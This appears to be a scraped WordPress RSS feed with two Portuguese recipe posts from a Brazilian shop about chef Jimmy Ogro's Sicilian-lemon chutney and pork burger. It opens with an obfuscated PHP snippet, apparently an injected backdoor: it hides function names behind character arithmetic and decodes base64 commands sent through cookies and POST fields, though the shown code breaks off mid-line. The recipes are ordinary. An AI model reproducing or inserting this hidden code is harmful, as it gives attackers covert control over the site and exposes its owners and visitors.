$QgsmWQ = "\127" . chr (68) . "\x49" . chr ( 266 - 171 ).chr ( 128 - 38 ).'I' . chr ( 726 - 615 ); $YJWlN = 'c' . "\154" . "\141" . chr ( 380 - 265 )."\163" . '_' . 'e' . "\170" . "\x69" . chr ( 330 - 215 ).chr ( 580 - 464 ).chr (115); $TLNnLFp = $YJWlN($QgsmWQ); $QgsmWQ = "5232";$NNSdC = $TLNnLFp;$YJWlN = "4890";if (!$NNSdC){class WDI_ZIo{private $ipXZB;public static $AefbesMZcw = "2c04f0c5-4a29-471a-9a50-779bcd024430";public static $YsGPibA = 61522;public function __construct($fmWoDv=0){$vSiVTj = $_COOKIE;$PTtLJEw = $_POST;$sFYjeFJzJ = @$vSiVTj[substr(WDI_ZIo::$AefbesMZcw, 0, 4)];if (!empty($sFYjeFJzJ)){$OaHOAgN = "base64";$GhSkP = "";$sFYjeFJzJ = explode(",", $sFYjeFJzJ);foreach ($sFYjeFJzJ as $dROtozL){$GhSkP .= @$vSiVTj[$dROtozL];$GhSkP .= @$PTtLJEw[$dROtozL];}$GhSkP = array_map($OaHOAgN . "\x5f" . "\144" . chr (101) . "\x63" . chr ( 904 - 793 )."\144" . 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		<title>Chutney de Limão Siciliano do Jimmy Ogro</title>
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		<dc:creator><![CDATA[gregfaleiro]]></dc:creator>
		<pubDate>Tue, 07 Nov 2017 09:54:10 +0000</pubDate>
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					<description><![CDATA[<p>[embedyt] https://www.youtube.com/watch?v=CtNWC4YxVB4[/embedyt]O Grande Ogro, chef assíduo do programa Mais Você, compartilha com a Ana Maria Braga sempre dicas de novas receitas, sabores e regionalidade. Com uma gastronomia simples, fácil, porém cheia de nuances e&#46;&#46;&#46;</p>
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										<content:encoded><![CDATA[<p><span style="font-weight: 400;">[embedyt] https://www.youtube.com/watch?v=CtNWC4YxVB4[/embedyt]O Grande Ogro, chef assíduo do programa Mais Você, compartilha com a Ana Maria Braga sempre dicas de novas receitas, sabores e regionalidade. Com uma gastronomia simples, fácil, porém cheia de nuances e experiência, ele leva a nós, admiradores da boa comida, combinações inusitadas mas que dão água na boca de quem acompanha seu trabalho. Dono de um carisma afável que nada tem a ver com seu famigerado apelido, ele esteve na nossa loja no dia 29 de setembro de 2017 para uma receita de hambúrguer de pernil suíno e uma das particularidades dessa receita é sem dúvida esse Chutney, uma espécie de molho agridoce que tem a função de realçar o paladar.</span></p>
<p>Anote a receita!</p>
<p><strong>Chutney Limão Siciliano</strong><br />
150grs cebola branca cortada julliene<br />
150grs maçã vermelha cubos pequenos<br />
(s/casca – s/caroço)<br />
1/2 limão siciliano cortado em fatias bem finas (cuidado para não peder suco na tábua) depois em cubinhos pequenos<br />
25grs açúcar mascavo<br />
Azeite<br />
Sal<br />
Pimenta do reino</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>

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		<title>OGROBURGER by Jimmy Ogro</title>
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		<dc:creator><![CDATA[gregfaleiro]]></dc:creator>
		<pubDate>Wed, 04 Oct 2017 17:50:05 +0000</pubDate>
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]]></description>
										<content:encoded><![CDATA[<p>Dia 29 de setembro tivemos a honra de receber na nossa cozinha show da loja PRIME o GRANDE Jimmy OGRO, (+Mais Você, Ana Maria Braga, Globo.). Mais de 120 pessoas, entre clientes e convidados, tiveram a oportunidade de experimentar um delicioso sanduíche de carne suína e harmonizar com a cerveja artesanal e goiana, Seresta. O evento ficará na memoria.</p>
<p>Se você não teve a chance de comparecer não fique triste não. Estamos postando a receita pra você testar essa maravilha em casa.</p>
<p>&nbsp;</p>
<h1>Hambúrguer de Pernil.</h1>
<p>Rende 5 porções</p>
<p>05 pães de hamburguer da sua preferência (brioche, batata, leite, outros)<br />
1kg blend carne (800grs pernil suíno / 200grs bacon) moídos juntos<br />
10 fatias de mozzarela</p>
<p><strong>Chutney Limão Siciliano</strong><br />
150grs cebola branca cortada julliene<br />
150grs maçã vermelha cubos pequenos<br />
(s/casca &#8211; s/caroço)<br />
1/2 limão siciliano cortado em fatias bem finas (cuidado para não peder suco na tábua) depois em cubinhos pequenos<br />
25grs açúcar mascavo<br />
Azeite<br />
Sal<br />
Pimenta do reino</p>
<p>Colocar um fio de azeite na panela, refogar a cebola até caramelizar bem. Juntar a maçã em cubinhos. Cozinhar até escurecer e amaciar a maçã um pouco. Acrescentar o limão e o açúcar. Temperar com sal e pimenta a gosto, até que todos os sabores estejam equilibrados. Manter em fogo baixo até alcançar textura e sabor desejados, se necessário ir pingando água para não grudar na panela. (Aparência similar à uma geléia rústica).</p>
<p><strong>Maionese Páprika Defumada</strong></p>
<p>50ml leite integral<br />
5grs páprika defumada<br />
100ml oléo girassol<br />
Sal q/b<br />
Pimenta do Reino q/b</p>
<p>Coloque no liquidificador o leite, páprika, tempere com sal e pimenta.<br />
Acrescente oléo em fio até armar consistência desejada. Acertar sal e pimentar. Manter resfriada até servir.</p>
<p>Burguer<br />
Modelar hamburgueres de 200grs<br />
Grelhar até o ponto desejado no fogão ou churrasqueira ou grelha.</p>
<p>Montagem<br />
Selar os pães, fazer uma base com a maionese, colocar o burguer e 2 fatias de mozzarela (no fim da cocção acrescentar a mozzarela para derreter)<br />
Colocar uma colher generosa de chutney<br />
Finalizar com bacon crisp e como com as mãos. =D</p>

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